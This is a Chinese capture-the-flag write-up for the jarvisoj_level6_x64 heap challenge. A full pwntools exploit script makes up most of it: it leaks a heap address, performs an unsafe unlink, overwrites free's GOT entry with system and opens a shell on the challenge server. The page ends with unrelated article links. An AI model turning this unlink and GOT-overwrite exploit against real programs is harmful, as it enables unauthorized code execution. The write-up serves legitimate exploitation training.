jarvisoj_level6_x64

只能申请unsorted bin大小下的unlink

IDA看一下,可以发现edit里面有任意堆溢出的情况(realloc造成堆溢出)

然后free里面有UAF漏洞

然后几个注意的点,unlink直接可以模板化

1,泄漏地址 包括libc或者存放heap pointer的地址

2,unlink,伪造谁用谁的指针来unlink

3,修改heap为got指针也可以泄漏libc

exp

  1 #coding:utf-8
2 '''
3 author: lemon
4 time:
5 libc:
6 python version:
7 '''
8
9 from pwn import *
10 from LibcSearcher import *
11
12 local = 0
13
14 binary = "./freenote_x64"
15
16 if local == 1:
17 p = process(binary)
18 else:
19 p = remote("node3.buuoj.cn",29231)
20
21 def dbg():
22 context.log_level = 'debug'
23
24 context.terminal = ['tmux','splitw','-h']
25
26 def add(size,content):
27 p.sendlineafter('Your choice:','2')
28 p.sendlineafter('Length of new note: ',str(size))
29 p.sendafter('Enter your note:',content)
30
31 def free(index):
32 p.sendlineafter('Your choice: ','4')
33 p.sendlineafter('Note number: ',str(index))
34
35 def show():
36 p.sendlineafter('Your choice: ','1')
37
38 def edit(index,size,content):
39 p.sendlineafter('Your choice: ','3')
40 p.sendlineafter('Note number: ',str(index))
41 p.sendlineafter('Length of note: ',str(size))
42 p.sendafter('Enter your note: ',content)
43
44 add(0x80,0x80 * 'a') # chunk 0
45 add(0x80,0x80 * 'a') # chunk 1
46 add(0x80,0x80 * 'a') # chunk 2
47 add(0x80,0x80 * 'a') # chunk 3
48 add(0x80,0x80 * 'a') # chunk 4
49
50 edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
51
52 #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
53
54 print "unlink前先泄漏出堆的基地址"
55
56 free(3)
57 free(1)
58
59 payload = 0x90 * 'a'
60 edit(0,len(payload),payload)
61 show()
62 p.recvuntil(0x90 * 'a')
63 #heap = u64(p.recv(6) + '\x00\x00')
64 heap_0 = u64(p.recvuntil('\x0a',drop = True) + '\x00\x00\x00\x00') - 0x19a0
65 print "[*] heap:",hex(heap_0)
66 heap_4 = heap_0 + 0x1a40
67
68
69 print "unlink"
70
71 fd = heap_0 - 0x18
72 bk = heap_0 - 0x10
73
74 payload = p64(0) + p64(0x80)
75 payload += p64(fd) + p64(bk)
76 payload = payload.ljust(0x80,'\x00')
77 payload += p64(0x80) + p64(0x90)
78 edit(0,len(payload),payload)
79
80 free(1)
81
82 print "leak libc"
83
84 elf = ELF('./freenote_x64')
85 free_got = elf.got['free']
86 print "[*] free:",hex(free_got)
87
88 payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
89 payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
90 payload = payload.ljust(0x90,'\x00')
91 edit(0,len(payload),payload)
92 show()
93 free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
94
95 # libc_base = free - libc.sym['free']
96 # system = libc_base + libc.sym['system']
97
98 libc = LibcSearcher('free',free)
99 libc_base = free - libc.dump('free')
100 system = libc_base + libc.dump('system')
101
102 payload = p64(system)
103 edit(0,len(payload),payload)
104
105 #gdb.attach(p)
106 p.interactive()

buuctf-pwn:jarvisoj_level6_x64的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  10. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. 实现队列的基本操作(数据结构)-python版

    class Queue: def __init__(self): self.entries = [] self.length = 0 self.front = 0 def put(self, item ...

  2. 【Unity 插件】Lean Pool 使用

    2020-09-11 Lean Pool 是一个轻量级的游戏对象池库,它可以轻松的帮助你的游戏提高性能.当然,Lean Pool也可以工作于普通的C#类. 目录: 1.Lean Pool使用 2.Le ...

  3. Redis可视化工具推荐

    前言 Redis可视化工具目前好用的免费的几乎难以寻迹,百度能搜索到的推荐比较多的是Redis Desktop Manager 官网地址:https://redisdesktop.com/pricin ...

  4. Python3 环境搭建 保姆式 详细教程!真手把手教学!

    本文我们将向大家介绍如何在本地搭建 Python3 开发环境. Python3 可应用于多平台包括 Windows.Linux 和 Mac OS X. Unix (Solaris, Linux, Fr ...

  5. ARM架构下的Docker环境,OpenJDK官方没有8版本镜像,如何完美解决?

    为什么需要ARM架构下的OpenJDK8的Docker镜像? 对现有的Java应用,之前一直运行在x86处理器环境下,编译和运行都是JDK8,如今在树莓派的Docker环境运行(或者其他ARM架构电脑 ...

  6. pytest封神之路第六步 断言技巧

    pytest的断言把Python语言简洁的优点发挥的淋漓尽致,因为它用的就是Python的标准断言assert. assert基础 assert用法 assert_stmt ::= "ass ...

  7. APP自动化-环境安装

    环境安装: 需要安装以下工具: 1.appium server-desktop 官方网站下载地址:http://appium.io// 2.安卓ADT(Android Develop Tools) 下 ...

  8. react 中发布订阅模式使用

    react 中发布订阅模式使用 场景 怎么能将设计模式应用到我们的 React 项目中?以前一直在思考这个问题. 场景一 模块 A 模块 B 需要用到同一个数据 data,A 和 B 都会修改这份数据 ...

  9. 微服务实战系列(十)-网关高可用之中间件Keepalived

    1.场景描述 因为要做网关的高可用,用到了keepalived+nginx,来保证nginx的高可用,如下图: 安装了keepavlived,走了一些弯路,记录下吧,nginx的安装就不多说了,博客已 ...

  10. Spring循环依赖的问题

      什么是循环依赖?就是两个Bean相互引用,比如用@Autowire 相互注入.   那么Spring是如何解决这个问题的呢?在Bean还未完全实例化前(类只实例化了一部分),将bean提前暴露出来 ...